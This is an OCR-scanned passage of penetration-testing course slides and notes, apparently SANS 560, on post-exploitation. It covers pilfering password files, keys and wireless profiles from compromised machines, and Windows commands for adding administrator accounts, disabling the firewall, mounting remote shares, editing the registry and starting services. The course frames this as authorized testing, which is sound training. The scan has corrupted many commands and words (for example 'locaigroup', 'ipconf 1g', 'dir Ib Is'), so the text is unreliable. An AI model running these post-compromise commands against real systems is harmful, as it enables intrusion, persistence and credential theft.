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When a penetration tester compromises one machine in a target organization, he or she 
should carefully analyze that machine to determine if it houses any information that can be 

used to further the goals of the penetration test - demonstrating risk to the target 
organization and possibly leading to compromise of other systems on the target network. 

Before grabbing files from a target system, however, a tester must make sure that such local 
file and information pilfering is allowed in the Rules of Engagement for the project by 

checking with target system personnel. 

With the appropriate permission, what should the attacker grab? Password files can be 
especially useful, so an attacker can crack them and use the resulting passwords to access 

other systems included in project's scope. The Linux and Unix /etc/passwd and /etc/shadow 
files can be immensely helpful, as is the Windows SAM database. We'll look at extracting 
and cracking these password files in far more detail in 560.4. 

Crypto keys stored on an end system can likewise be useful in demonstrating the risk of a 
vulnerability. The pen tester may access stored SSH public and private keys for clients and 

servers. Similarly, the public and secret keyrings of a Pretty Good Privacy (PGP) or Gnu 
Privacy Guard (GnuPG) installation may prove useful. Of course, the attacker would need 

the victim's passphrase associated with such keys to use them. But, because many users 
manually synchronize the passwords for their crypto keys with their operating system 

password, the tester may have already determined the associated password. 

If the compromised server is an RSA SeeurelD Authentication Manager, or a system used to 
control and configure such a box, the penetration tester could grab the .asc files used to 

initialize each time-based authentication token. The Cain tool, which we'll analyze in detail 
in 560.4, has a feature that can calculate the time-based passeode displayed on a SecurelD 

token, provided that you load the associated token's .asc file. 
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File Pilfering Continued

- Wireless client profiles,
including Pre-Shared Keys

Detailed in Josh Wright's
pen test research paper,
"Vista Wireless Power Tools
for the Penetration Tester"
at www.inguardians.com
PSK isn't currently crackable,
but can be directly imported
into pen tester's own system...
Great idea, Josh!

Additional items to snag:
- Source code

s Especially interesting for web servers... Locally, we can analyze it for
vulnerabilities

Fè, Fè, FoFflat è,,. tt%

<security>
<autlìErìcrypti on>
<authenti cati on>WPAPSK

<enc rypti on>TK
<u seonex>fal se

</authEncryption>
<sh a r e cli ey>

<keyType> pas sP
<p rotected>t ru
<keyMateri af>O

DFO346ED15BAD00002 563 FA8614884
.zz/sharedKey>

</security>

Some additional items that pen testers should consider pilfering from compromised target
machines include source code stored there, which could include C, C++, and many other
elements of code. Of particular interest is PHP, Peri, and other scripts associated with web
servers, used to process requests from clients. By pilfering such code from a web server, a
penetration tester can review that code, looking for flaws that might be exploitable against
that web server already compromised, or any other system within the project's scope that is
also running the same code.

If the attacker compromises a client-side system configured to use a wireless LAN, the
attacker could dump the wireless profile, which often includes a representation (a one-way
hash) of pre-shared WEP, WPA, and WPA2 keys. Windows Vista clients easily provide
such information to any user running with administrator or local SYSTEM privileges, via
the "netsh wlan" command. Josh Wright wrote a white paper on how to use a command
shell on an exploited Vista machine during a penetration test to retrieve the pre-shared key
hashes. While there currently aren't any tools publicly available to crack the Vista format
for wireless pre-shared key representation storage, a penetration tester doesn't need to crack
the key. The tester could simply import them into his or her own Vista machine and use it to
access the wireless network.
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More Stuff to Pilfer 

Machines with which the compromised system has recently 
communicated: 

- Windows: 
C:\> netstat -na 
C:\> arp -a 
C:\> ipconfig /displaydns 

Linux and Unix: 
* net stat -natu 

* arp -a 

Additional system-specific information: 

- DNS servers: Zone files 

- Web servers: Document root, especially local scripts 

- Mail servers: E-mail address inventory, address aliases, sample of e-mail 
that tester sent to it 

- Clients: Inventory of software: c:\> dir /s "c:\Program Files" 
- Many more possibilities here 
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On a compromised machine, a pen tester can also issue various commands to determine 
other systems with which the compromised machine has recently communicated. Such 

systems are more likely to be in scope, making these commands a handy way to inventory 
additional potential targets. On Windows, the tester could run the "netstat na" command to 

see cunent TCP and UDP port usage, indicating which machines have an established TCP 
connection or who have very recently communicated with the box. The "arp a" command 

dumps the system's ARP cache, showing the machines on the same subnet that the system 
has sent packets to in the last 10 minutes or so. Finally, the Windows "ipconfig /displaydns" 

command dumps the Windows DNS cache, showing recently resolved names, with a display 
including the remaining DNS Time-to-Live value, providing the tester with an estimate of 

how recently the record was resolved. On Linux and Unix, the tester can run "netstat natu" 
to see all TCP and UDP port usage, as well as "arp a" to dump the ARP cache. Linux 

machines typically do not maintain an operating-system-wide DNS cache. 

Additional information items that a pen tester may wish to consider grabbing include the 

zone files of a DNS server, which include information about names, IP addresses, and other 
tidbits. In a web server, the tester may want to grab all files and directories under the 

document root. On mail servers, the tester may consider grabbing files that contain an 
inventory of e-mail addresses and aliases. The tester could even get a copy of an e-mail the 

tester sends to an example account on the server, to demonstrate successful compromise of 
the mail server itself. 

On client machines, a handy inventory of installed programs and their last update date 
generated by the dir command can be very helpful in planning future client-side 

exploitation, as we discussed in the beginning of 560.3. 

There are many more possibilities here, and penetration testers should think carefully about 
information resources to grab when they've successfully compromised a target machine. 
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Our next topic will be the Windows command line. As a professional penetration
tester or ethical hacker, you will likely encounter many Windows machines in your
work, some of which will be exploitable to gain remote shell access. To make full
use of this access in your projects, you should master fundamental skills at the
Windows command line. We'll discuss some important properties and capabilities
of the Windows command shell (cmd.exe) built into Windows NT, 2000, XP, 2003,
Vista and 2008.
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Windows Command-Line Kung Fu 

For Penetration Testers 
Command-line skills are very helpful for penetration testers 

- Hit one target, get shell access, then use it to access another 

- Often we can't install tools on a given conquered machine 

- Thus, we'll focus on maximizing use of built-in command-line tools 

- Given the dominance of Windows targets, we will spend some time 
further developing our Windows command-line skills 

Analyzc( - ana ze 
Attacker Oit I i 

Conquered 
Target 

You may be familiar with the SANS full-day course on the 
Windows command line.., or the section of SANS 504 

- For this class, we will have a different focus: Windows command line 
tips for penetration testers and ethical hackers 

ex 

Scan 

lNext Target 

Often, during a penetration test or ethical hacking exercise, a tester gains command-shell 

access to a given target machine. With access to this target, the tester can conduct detailed 
analysis of this conquered machine, as well as locate and attack other systems (provided that 

the Rules of Engagement allow for such follow-on exploration). But, with just command 
shell access, the attacker requires solid command line skills to be able to maximize the 

usefulness of this conquered target. 

Given the dominance of Windows from a marketshare and exploitable target perspective, we 
will now spend time analyzing various Windows command-line tools and techniques to see 
how they can be used by penetration testers and ethical hackers in their work. Many people 

dismiss the Windows command line (cmd.exe), thinking that it isn't a powerful-enough 
shell. However, it has some very useful capabilities, ones that can serve penetration testers 

and ethical hackers very well in their projects. Let's explore these capabilities in more detail 
and see how we can use them in our work. 

You may be familiar with other Windows command line classes offered by the SANS 
Institute, including SANS Security 531, Windows Command-Line Kung Fu for InfoSec 

Pros, as well as the Windows command-line section of SANS Security 504, Hacker 
Techniques, Exploits, and Incident Handling. This current section of this course is actually 

quite different from those other courses. They focus on Windows command-line skills for 
general security personnel and incident handlers. Our focus in this section will be 

specifically on Windows command line tips for penetration testers. 
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Why Focus on the
Windows Command Shell?

Windows machines have significant market share
- Especially on the client side.., but to some extent on the

server-side as well

Windows machines often include a myriad of third-'
party applications
Windows machines often aren't thoroughly patched
- Not only the Microsoft software on these boxes, but

especially the third party applications

We will spend some time focusing on the Windows command shell in this class. You may
wonder why. There are several reasons for this focus. First off, Windows has a significant
market share, dominating most organizations client-side deployments, and certainly no
slouch on server deployments. Windows machines often include a large assortment of third-
party software installed on the system, both on the client and server side. This third-party
software is often not patched very thoroughly, leaving possibly exploitable software on the
machine. Also, some organizations do not patch built-in components of Windows very well
either.
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Using Windows Shell for 
Maximum Effectivness 

For all of those reasons, penetration testers sometimes find 
themselves with a successful compromise... staring at a 

command shell on Windows 
We need to be able to use that command shell to its maximum 

effectiveness, with only built-in tools 

- Don't install additional software unless you have to... keeps our 
footprint small and lowers the chance of admin, user, and anti- 

virus detection 
Using built-in tools and functionality is safer and there is less clean- 

up 
We cover Linux and Unix command-line tricks throughout the 

course, embedded in our discussions of other tools and 
techniques 

- Netcat section (560.2) covered while loops, John the Ripper section 
(5604) covers patching source code and compiling, and so on... 
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For all of the reasons cited on the previous slide, penetration testers sometimes find 
themselves with command shell access of a target Windows machine. To be successful 

penetration testers, we need to maximize the use we can make of that compromised 
Windows box at the command shell to explore and attack the target environment more 

thoroughly, to better understand the business risk of the discovered vulnerabilities. We'll 

use only built in tools included in Windows, instead of installing separate software, because 
that lowers our footprint on the target machine. If we don't have to push any custom 

software onto the compromised target, detection by admins, users, and anti-virus tools is far 
less likely. Furthermore, the attack is safer and clean-up is easier if we rely only on built-in 

functionality of Windows target machines during the attack. 

The class also covers numerous Linux and Unix command-line tricks, with those topics 
embedded throughout our discussions of other tools and techniques (for example, the Netcat 

section in 560.2 covers "while" loops and the John the Ripper section in 560.4 covers 
patching and compiling source code). There are several dozen other examples of 

Linux/Unix command-line tips we cover along the way. So, the Linux/Unix command tips 

are embedded throughout the course. The Windows ones are covered in this section. 
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Analyzing a System: Displaying
and Scraping Through Files

Display the contents of a file on Standard Output
C:\> type [file]

Looking at multiple files:
C:\> type *.txt or type [fuel] [file2] E...]

Displaying output one page at a time:
C:\> more [file]

Searching for a string within a file:
C:\> type [file]

I find Ii "[string]"

Searching for regular expressions
C:\> type [file] findstr [regex]

Network Pen Testing & Ethical I lacking - ©2009, All Rights Reserved

Penetration testers and ethical hackers often have to display files on target machines, and
scrape through their contents looking for specific items. We can accomplish these tasks
with the type, more, find, and findstr commands.

The type command displays the contents of a file on standard output. It is the rough
equivalent of the Unix/Linux cat command, and is used as follows:

C:\> type [file]

We can see the contents of multiple flics by either using a wildcard of * to refer to the files,
or by listing the files one after the other in the type command-line invocation, as follows:

C:\> type *.txt
C:\> type [filel] [file2]

Most interactions with the file system use * as a wildcard to match any string.

To look at the contents of a file one page of output at a time, we can use the more command:
C:\> more [file]

Note that Windows does not have a less command built-in, so the handy page up / page
down and search features of less are unavailable to us using only built-in tools on Windows.

To look for lines of standard output that contain a given string, we can use the find
command. By default, find looks for strings, and is case sensitive. With the /i option, it
becomes case insensitive. To search for a given string in a file, we could run:

C:\> type [file] find /i "[stringi"

Finally, if are familiar with formulating regular expressions, powerful and flexible pattern
matching syntax, you can use the built-in findstr command, as follows:

C:\> type [file] findstr [regex]
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Analyzing a System: 
Environment Variables 

To see all environment variable set within a 
shell, run: 
C:\> set 

To see a specific one, run: 
C:\> set (variable_name] 

Some important environment variables for 
penetration testers and ethical hackers: 

C:\> set username 

- 
Similar (but not identical) to Linux/Unix whoami 

C:\> set path 

- Shows where shell searches for commands to run 

irk Pen Test Ethical flac 09, All Rìghts Reserved 
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When analyzing a system, a penetration tester should note the environment variables that are 
set within the shell he or she is using. Depending on how the shell was created (via an 

exploit, a remotely launched job, ssh, telnet, etc.), it may or may not have these variables 

set. But, if they are set, this information is incredibly useful in understanding the machine in 

more detail. To see all environment variables set for the shell, you can simply type: 

C:\> set 

To see a specific variable's value, you can run: 

C:\> set (variable_name] 

Two very important environment variables are usemame and path. As its name implies, the 

username variable shows you your current logon name. The following is the closest thing 

we have to Linux/Unix whoami command on Windows: 

C:\> set userriame 

The path environment variable shows you where the shell searches in the file system to find 
the commands that you type. The value of your path can also give you a feel for ancillary 

packages installed on the machine, such as Python or QuickTime, which usually alter the 

default path settings. Check the path with: 

C:\> set path 
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Analyzing a System:
The systemroot Variable

The systemroot variable is extremely important
- Tells you where the operating system is installed on the file

system

- Inexperienced penetration testers often assume c:\, but it could
be elsewhere... it's always good to check

C:\> set systemroot

To interact with any of these environment variables, use
% [variable_name] %
- Your shell will simply replace the variable name with its value

For example:
C:\> cd %systemroot96

- Then, to see which directory you are in (like a Linux/Unix pwd):
C:\> cd
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The systemroot variable is likewise very useful for penetration testers. It shows where the
operating system itself lives in the file system, usually c:\windows. It can be viewed with:

C:\> set systemroot

Please note that not every Windows machine has its primary partition in e:\. Rookie
penetration testers often make the mistake of searching around in c:\ for important items on
a system that has its default partition moved to, say, d:\ or e:\. Needless to say, they don't
find what they are looking for. It's quite possible that they do find another Windows install,
but not the one that is currently booted. That's why it's a good idea to check the systemroot
before doing too much in-depth analysis in the wrong place.

To refer to these environment variables in shell commands, simply put a % sign before and
after it. Your shell will expand the %systemroot% in any command you type to the
systemroot directory. For example, to change to your systemroot directory, you could run:

C:\> cd 96systemroot%

To display the path of your current working directory (like the Linux/Unix pwd command),
YOU could simply run:

C:\> cd
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Analyzing a System: Searching 
the File System 

To search for a file in the file system, use: 
C:\> dir ¡b Is (directory]\[file] 
No spaces between [directory], \, and [file] 

The ¡s means recurse subdirectories 
The ¡b means bare form of output (do not look at., 

and other items), and print full path when used 
with ¡s 

Wildcards supported with * 
Example, to find hosts file within %systemroot%: 

c:\> dir Ib Is %systemroot%\hosts 

Nctwudc Peri Testic )2DO). Ail Riehts Rese 
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Penetration testers and ethical hackers often need to scour the file system to find a file with a 
given name. To accomplish this, we can use the humble dir command, but with some pretty 

specific syntax. Suppose we want to search for a file of name [filel and see if it exists 
anywhere in the directory structure underneath [directory], recursively going through that 
directory and its subdirectories. We could run: 

C:\> dir /b Is (directory]\[file] 

It is important to note that there are no spaces between the [directory], the \, and the [fiel. 
It's just one after the other. It may appear that such an invocation would only look for [filel 

in that one [directory], but the /s makes it recurse subdirectories. 

The Ib tells dir to use the bare form of the output, not displaying the. link that each directory 
has to itself or the 

.. 
link it has to its parent. When used with Is, however, /b has a very 

important function for us. It displays the full path to each file, something very important to 

us when looking for a file. As you might expect, the file name can have a * in it to act as a 
wildcard. 

As an example, let's look for the hosts file inside the systemroot, using this syntax: 

c:\> dir Ib Is %systemroot%\hosts 

This hosts file is important, because it might give us clues about other machines with which 
the given system communicates. 
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Managing Accounts and Groups

C:\> net locaigroup

List members of local
admin group:
C:\> net locaigroup administrators

Add a user:
C: \> net user [logon_naine] [password] /add

Put the user in the local admin group:
C:\> net locaigroup administrators [logon name] /add

t:\WINOOWS\te

he command conpieted successfully.

Network Pen Testing & E i liacking 20 All Rights Reserved

With the ability to run commands on a target machine, penetration testers and ethical
hackers often want to get a list of local users and groups on the target system, possibly
adding new user accounts and manipulating the membership of various groups, such as the
administrators group. To get a list of all local users defined on the machine, we can run:

C:\> net user

To see which local groups have been created on the machine, we could use:

C:\> net locaigroup

Now, here's where things get interesting. We can see which accounts are members of the
local administrators group with:

C:\> net locaigroup administrators

The local administrator accounts on a given machine might be very interesting, because
those same accounts might appear locally on other nearby systems, a useful thing for
penetration testers and ethical hackers to analyze.

We can add a user to the system with this command:

C:\> net user [logon_name] [password] /add

Then, we can add that user to the local administrators group with:

C:\> net locaigroup administrators [logon name] /add

157

:\>net localroup administrators
lias nane adninistrators
onnent Administrators liane conpiete and
er/domain

embers
List local users:
C:\> net user

List local groups: dmin istrator
kodo
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Deleting Users and Accounts 

Maintain a written inventory of all changes 
you make on a system 

- And remember to clean up after you are done! 

To remove a user from a group: 
C:\> net locaigroup [group] 

[logon name] /del 

To delete an account: 
C:\> net user [logon_name] /del 

l'eri Testi itliical ilac 

As penetration testers and ethical hackers perform their work, they should make changes to 
the target systems only if the given Rules of Engagement for the project allow them to do so. 

And, if changes are allowed, the testers need to document all changes carefully for each 

system, and clean them up after testing is completed. On the previous slide, we showed how 

to create users and add them to groups. To clean out such changes, a tester should first 

remove the users from the groups to which they were added, using this command: 

C:\> net locaigroup [group] [logon name] /del 

Then, once all group memberships have been revoked, the account can be deleted with: 

C:\> net user [logon name] /del 
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Analyzing a System:
Determining Firewall Settings

The netsh command lets you interact with the
network settings of the machine
- Numerous contexts for various aspects of the

system... view different contexts in detail with:
C:\> netsh I?

For a penetration tester, the firewall context
is very important to us
To see the whole configuration of the firewall,
run:
C:\> netsh firewall show conf 1g
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Another important aspect of a Windows system from the perspective of a penetration tester
or ethical hacker is the built-in Windows host-based firewall. The firewall can be controlled
at the command-line using the powerful netsh tool. This command can control almost all
aspects of Windows networking, including IP addresses, bridging, routing, etc. To get an
overview of its capabilities, you can run:

C:\> netsh I?

You can run netsh either as a standalone command with all of its options on a single line
or as an interactive console shell. To invoke the shell, simply type nesh. Then, you can
type any of its contexts (like firewall or interface) and enter I? to get details
within that context.

We'll zoom in on the netsh firewall configuration, because it is so vital to us as
penetration testers and ethical hackers. To view the complete settings of the firewall,
including allowed inbound ports and programs allowed to speak on the network, you could
run:

C:\> netsh firewall show config

Note that thenetsh command shows us only the settings of the built-in Windows firewall,
not other third-party firewalls that may be installed on the system. The process for viewing
the configuration of third-party firewalls is completely dependent on the particular package
in use.
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Analyzing a System: 
Changing Firewall Settings 

Be careful! Make sure you verify that firewall rule changes on target 
hosts are allowed in the Rules of Engagement 

To allow a given port inbound: 
C:\> netsh firewall add portopening protocol = 

[protocol] port = [port] naine = (comment] scope = 
custom addresses = [aliowedsource_IP/cidr] 

For example, to allow inbound TCP port 23 from 10.10.10.0/24: 
C:\> netsh firewall add portopening protocol = TCP port 
= 23 name = AllowTelnet scope = CUSTOM addresses = 

10.10.10.0/24 

Delete this rule with: 
C:\> netsh firewall dei portopening protocol = TCP port 
= 23 

To disable the Windows firewall altogether: 
C:\> netsh firewall set opmode disable 

etwork Pen Testing Ethical I lacking ()O9, All Rights erved 
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We can use netsh to alter the firewall's configuration as well. During a penetration test, such 
alterations should only be made when the Rules of Engagement specifically allow for them. 

To configure the firewall to allow inbound traffic on a given port, you could use this command: 

C:\> netsh firewall add portopening protocol = [protocol] 

port = [port] naine = [comment] scope = custom addresses = 
[allowed_source_IP /cidr] 

Note that the command includes a custom scope which limits the source IP addresses that can 
access the system on this port. From a penetration testing perspective, this is a good idea, 

because it lowers the chance of a bad guy attacker piggybacking in on our access to the target 
machine. We could specify a single IP address or we could allow a network using the convenient 

CIDR notation for subnets (i.e., /24 is a netmask of 255.255.255.0, whereas /16 would be a 
netmask of 255.255.0.0.) The slide shows an example of allowing inbound TCP port 23, used by 

telnet, but only from a source machine on the 10.10.10 subnet. We can delete the rule (while 
cleaning up after a project) using the commandS 

C:\> netsh firewall del portopening protocol = [TCPIUDP] 

port = [portnuin] 

Finally, we can disable the firewall entirely by using this command: 

C:\> netsh firewall set opmode disable 

Replacing "disable" with "enable" will turn the firewall back on. 
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Analyzing a System:
Interacting with the Registry

The reg command lets us interact with the
Registry (including remotely!)
- Read a reg key: C: \> reg query [KeyName]
- Change a reg key

C:\> reg add [KeyNaine] iv [ValueName] /t [type] /d
[Data]

- Export settings to a reg file
C:\> reg export [KeyName] (filenaine.reg]

- Import settings from a reg file
C:\> reg import [filename.reg]

- Do any of these remotely by prepending
\ [MachineName] before [KeyName]

Requires admin-level SMB session
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Most Windows settings are stored in the Registry, so being able to interact with it from a
command line is very important to a penetration tester or ethical hacker working in Windows.
The reg command allows for various kinds of read and write actions to and from the Registry.
To read Registry keys, we could use the reg command as follows:

C: \> reg query [KeyName]

To change Registry keys, we could use the add functionality of the reg command. If the key
and value already exist, the reg add command will overwrite it with our new value.

C:\> reg add [KeyName] Iv [ValueName] It [type] /d [Data]

To grab a series of settings from the Registry, such as all keys and values defined underneath a
given Registry key, we could use reg export, as follows:

C:\> reg export [KeyNaine] [f ilename.reg]

It is a commonly observed convention to store these settings in a filename with a suffix of
".reg", although that is optional. Any suffix will do.

To import registry key settings from a reg file, we could use:

C:\> reg import [filename.reg]

To make any of these commands work remotely, we prepend \[MachincName] before the
[KeyNamel. Such remote registry access does requires us to have an admin-level SMB session
open. And, yes, that is a single \ before the MachineName, not a
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Analyzing a System: 
Finding Other Machines 

With a useful option of ipconfig, we can find 
other systems that the conquered target has 

recently resolved using DNS: 

C:\> ipconf 1g /displaydns 

Using the arp command, we can find other 
systems on the subnet with which a given 
machine has recently communicated: 

C:\> arp a 
- Because they are on the same subnet, there is a 

higher chance that they are within the project 
scope, but we always need to check 

Network Pen Testing & Ethical ilac All Rights Reserved 
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I-lard-coded entries in the hosts file (%systemroot%\system32\drivers\etc\hosts) can be 
helpful in finding other machines, if the administrators of the system we've compromised 

have entered anything in the hosts file. But, there are other (and arguably better) ways to 
learn about target machines from a given conquered machines using command-line tools. 

We could dump the DNS cache of a modern Windows machine using the ipconfig command 

as follows: 

C:\> ipconf 1g /displaydns 

The results will show us other machine names and IP address with which the given machine 

has likely communicated recently, possibly indicating other targets for us to pursue (if they 

are within the scope of the project). In the output of this command, we can see the 

remaining time-to-live (in seconds) of each domain name to TP address mapping that the 

system has cached. If we know the original TTL (which we can get by resolving the name 
off of an authoritative name server for that domain), we can get a feel for how fresh the 

record is in the cache of the target. 

Furthermore, we can dump the ARP cache of a Windows machine using this command: 

C:\> arp a 

This output will show us the TP address to MAC address mappings of machines on the same 
subnet as the given conquered machine, giving us a sense of nearby systems with which the 

target has recently communicated. Given their nearness on the same subnet, these machines 

may be related to the given target and are more likely to be included in the project's scope 
than the machines identified through the ipconfig /displaydns output. 
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Setting Up SMB Sessions

Set up a session with a target:
C:\> net use \\(targetlP] (password]

lu: (user]

- If you don't provide a password, it will prompt you for
it

Mount a share on a target:
C:\> net use * \\[targetlP]\(share]

[password] lu: (user]

- Attaches to the next available file share, such as z:
- Some versions of Windows require specifying the

machine name before the user:
lu: (MachineNaine] \ [user]
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A Server Message Block (SMB) session with a target machine allows us to access remote flic and
print sharing, remote registry keys, remote scheduling ofjobs, and a variety of other useful functions
Microsoft carries over those incredibly useful NetBIOS over TCP ports 135-139 and the SMB port
TCP 445. We can set up sessions with a remote system using thenet use command, as follows:

C:\> net use \\[targetlP] [password] lu: [user]

We will see "Command completed successfully" if such remote sessions are allowed. If you don't
provide a password in your command, the system will prompt you for it on the next line. This
command will make our machine access the first available share on the remote system, such as the
IPC$ default administrative share. But, such shares typically don't include data for us to access in
the target's file system. To get access to those, we could mount the target machine's file system.
To access a given share on the target, we could use:

C:\> net use * \\[targetlP]\[share] [password] lu: [user]

The * indicates that we want the remote share attached to an available file system drive letter on our
own machine, such as z: or f:. We could specify a letter here, but if it is already in use, the
command will fail. To mount the C:\ share on a target machine, we could run:

C:\> net use * \\[targetlP]\c$ [password] /u:(user]

Some versions of Windows require us to specify a machine name before that user name. Thus, we'd
augment the command by replacing /u: [user] with /u: [MachineName] \ [user].
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Dropping SMB Sessions 

Windows machines allow a 

user to have one SMB session 
with a given target machine as 
one username at a time only 

If you try multiple sessions 
with different usernames 

simultaneously, you get an 
error message 

To avoid this, drop your 
session as one user first 
C:\> net use 

\\[targetlPj /del 

To drop all SMB sessions: 
C:\> net use * ide]. 

- Enter Y to continue 
Or, add a ¡y at the end of net 

> 

user to force it to say "yes" 

T C:\WINDOWS\system32\cmd.exe 

:\>met use \\10.10.l0.i0 /u:falhen 
he password or user name is invalid for \\lO.10.l 

.10. 

nter the password for 'falicen' to connect to 'IO. 
0.10.10': 

he command completed successfully. 

:\>net use \\1 10.10.10 /u:susan 
ystem error 1219 has occurred. 

ultiple connections to a server or shared resourc by the sane user, using more than one user name, 
are mot allowed. Disconnect ail previous connecti 

ms to the server or shared resource and try again 

:\>net use \\i0.10.i0.1O /del 
\1O.10.1@.10 was deleted successfully. 

:\>net use \\iO.iO.i0.i0 /u:susam 
he password or user nane is invalid for \",l@.iO.l 

-1M- 

nter the password for 'susan' to connect to '10.1 
_10_lO, 

he conmand completed successfully. 

SMB connections between Windows machines have an important limitation to keep in 
mind. If there is a connection from one machine to another with a given user account, you 

cannot open another SMB session to that same target machine as a different user. If you try, 

you get an error message, saying that "Multiple connections to a server or shared resource 
by the same user, using more than one user name, are not allowed." 

This problem manifests itself when you have a connection (such as a mounted share) to a 
target as one user, and then try to open another session with a different username on the 

same target. Penetration testers and ethical hackers often do this, as they try to move 
between different accounts with different access privileges on a target machine. 

To sidestep this problem, you should drop a session as one user before trying to connect as 
another user. To drop a single session, you could use this command: 

C:\> net use \\[targetlP] ¡del 

If you want to drop all SMB sessions for your current user, you could run: 

C:\> net use * ¡del 

You will be prompted to verify that you are dropping all sessions. Hit Y and Enter to make 
them all go away. To avoid the verification prompt, add a ¡y after the /del to your net use 

command, as in: 

C:\> net use * ¡del /y 
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Controlling Services with SC

The Service Controller (Sc) command lets you interact
with services
By default, works locally
Or, follow it with \\[targetlp], and it can ride across an
admin SMB session to take
effect on a remote system
To list running services:
C:\> sc query

To list all services:
C:\> sc query state= all

For detail on one service:
C:\> sc qc (service_name]

IDLJ
r\>nc \\1 1A.lA.IB qe tlntrr.e

[SC] CetleenieeConfiq SUCCESS

EI[UICE..NAME: tlrrtren'
TYPE r IM 111N32_OIIN_PR

START_TYPE r 3 DEMAND_START
ERROR_CONTROL : I NORMAL
DINART_PATILNAME C:\WINNTs9eten3

LOAD_ORDER_GROUP
TAG r U
DISPLAY_NAME r Telnet
DEPENDENCIES r ApoYe

r lopIp
SEIIUICE_START.NAME Loorrllyetere

:\>so \\lIl.IA.lI1.IA etaet tlntenr
ERUICE_NAMEr t1ntenn

TYPE r lA 111N32_OWNPR

STATE r 2 STARIPENDIHG
(STOPPABLE. PA

GNOAES_SAYTDOIIN) zJ

The Service Controller (sc) command lets accounts with administrator privileges interact
with services, querying thcir status, activating them, and shutting them off By default, the
sc command interacts with services on the local machine. Alternatively, if it is invoked as
sc \ \ [target IP], it can take effect on a remote Windows machine, provided that an
SMB session was established with that machine using administrative credentials (e.g., with
the net use command as we've already discussed).

To list all services running on the local system, you could run:

C:\> Sc query

That command only shows running services. To see all installed services, regardless of
whether they are currently started, you could run:

C:\> sc query state= all

To run it against a remote system, you'd simply expand the command to:

C:\> sc \\[targetlP] query

To get details about a particular service's status, you could use:

C:\> sc qc [service name]
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Starting and Stopping Services 
with the sc Command 

To start a service: 
C:\> sc start [service_name] 

If the service sta it_type is disabled, you first have 
to enable it before starting it: 

C:\> sc conf 1g [service_name] start= demand 

To stop a service: 
C:\> Sc stop [service_name] 
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In addition to reading the status of a service, the sc command can start or stop services as 
well. To start a service, you could run: 

C:\> sc start [service_name] 

Please note that if the service has a start type of disabled in the output of sc qc 
[service_name] 

, 
you cannot start it until you first change it to a start type of demand 

(which is called "Manual" in the Services control panel GUI services.msc). You can make 
this change by typing: 

C:\> sc conf ig [service name] start= demand 

To stop a service, you could run: 

C:\> sc stop [service name] 
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Determining Service Names
Services run with a name that
we interact with using sc r\Do Cooed S tiegorIrarto) quors

EEIIUICNOrIEr H1nt
bIOPLOO_NOTIE: O1eetnr

But, if you don t know that H EHHHE_PI1OCEE5

(NOT_TTOPPHHLENOT,P0000BLE

name, the sc command isn t :
CHECKPOINT r NoN

going to be as useful WAITHINT r

Determine the service name
by looking at the output of:
C:\> sc query state= all

Or, if you have GUI access,
r -

run :
ervlcno Name

C:\> Services.msc

Right click on the service
name and go to properties
Look at "Service name"
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As we've seen, the sc command lets us interact with services, querying them, starting them,
and stopping them. But, to interact with a particular service using sc, we need to know its
service_name. For example, the built-in Windows telnet service can be helpful for
penetration testers, but to start it using sc, you need to know what service name Windows
uses for it. To find out that name, you have a couple of options. First, you could run the sc
command itself, configured to show the status of all services, as follows:

C:\> sc query state= all

Look for the service that interests you in the long list (which you might want to paginate by
piping it through the more command). When you find the service, look at its
SERVICE NAME. The Windows telnet service, for example, is called tlntsvr.

Another way to find this service name is to use the Services Control panel GUI. You can
invoke this GUI on a machine where you have GUI control (such as a lab system or a box
on which you've gotten VNC or RDP access) using this command:

C:\> services.msc

Then, look for the service that interests you. Right click on it and go to "Properties". At the
top of the Properties page, you will see the "Service name". Now that you know the service
name, you can use sc to control it.
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FOR Loops 
i. .J] . 

.... . 

LI] LILI.]]]]]i]]LILI]LILIItTSLIt]I] ].: 

Iteration can be very helpful 

- We're not expecting you to be programmers 

- But, as a tester, sometimes you'll want to iterate 
over a given set of items 

Numbers 
Lines in a file 

The Windows command line supports several 
kinds of FOR loops 

- We'll go over the most common 

- FOR ¡L: Counter 

- FOR ¡F: Iterate over file contents, strings, or 
command output 
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This is not a class on programming or scripting. We're not expecting you to be 

programmers for this class. For those of you who are, you are likely getting ideas for 
automating various aspects of the concepts we've covered in the course so far. For those 

who aren't programmers, don't worry, you do not need to be for this class. 

That said, as a penetration tester or ethical hacker, sometimes iterating a command a large 

number of times over a set of entities such as lines in a file or numbers is very helpful in 

scanning and exploitation. We can do that at the Windows command line by composing 
FOR loops. Windows supports numerous different kinds of FOR loops, but we'll look at 

two of the most common and powerful, those that are most likely to be used by a penetration 

tester or ethical hacker. 

FOR IL loops can be used as counters, starting at a given number, and incrementing by a 
given step, counting to another number. These simple loops can be immensely helpful in 

doing a given action repeatedly for a fixed number of times, or iterating through a series of 
numbers (like network addresses). 

FOR /F loops are far more sophisticated, offering options for iterating over a set of files, the 

contents of files, or the output of a command. 

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

http://www.cvisiontech.com


FOR/L Loops

FOR /L loops are counters:
C:\> for ¡L %i in
([start], [step], [stop]) do [command]

Let's make a loop that will run forever:
C:\> for IL 6j in (1,0,2) do echo
Hello

Let's make a simple counter:
C:\> for ¡L %i in (1,1,255) do echo %i.

We can use FOR /L loops to create counters as follows:

C:\> for IL %i. in ([start],[step],[stop]) do [command]

The %i is the variable we want to use as our incrementer. We could use any single letter
name, but %i is a common convention. We can refer to the %i in the [command], and it will
be replaced with the current value through the loop, starting at the [start] value, changing by
[step] at each cycle through the loop, and going up to [stop] value. The [command] runs
once each time through the loop. Note that the [start], [step], and [stop] values should be all
integers. If they aren't, Windows will truncate any decimal places, forcing them to behave
as integers. Thus, the %i will always take the value of an integer in a FOR /L loop.

Let's look at some examples. To implement a loop that runs forever (until a CTRL-C),
printing Hello on the screen repeatedly, we could run:

C:\> for IL i in (1,0,2) do echo Hello

This will run forever because it starts counting at i and counts in steps of zero until it
reaches 2 (which should never happen). It's the equivalent of a Unix or Linux while [true]
loop.

To make a simple counter that goes from I to 255 in steps of i, we could run:

C:\> for /L %i in (1,1,255) do echo %i

Note that we are counting from i to 255. Do those numbers sound familiar? Soon, we'll
use this to iterate through network addresses.
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Pausing in Loops and 
Turning Off Command Echo 

Let's pause for 4 seconds between each iteration: 
C:\> for IL %i in (1,1,255) do echo %i & ping -n 5 

127.0.0.1 

Yes, to pause for 4 sec, you ping n 5 

Run multiple commands: 
[commandi] & [command2] 

Run commandi, and only run command2 if commandi 
succeeds without error: 

[commandlj && [command2] 

We usually don't want our command(s) displayed each time 
through the loop 

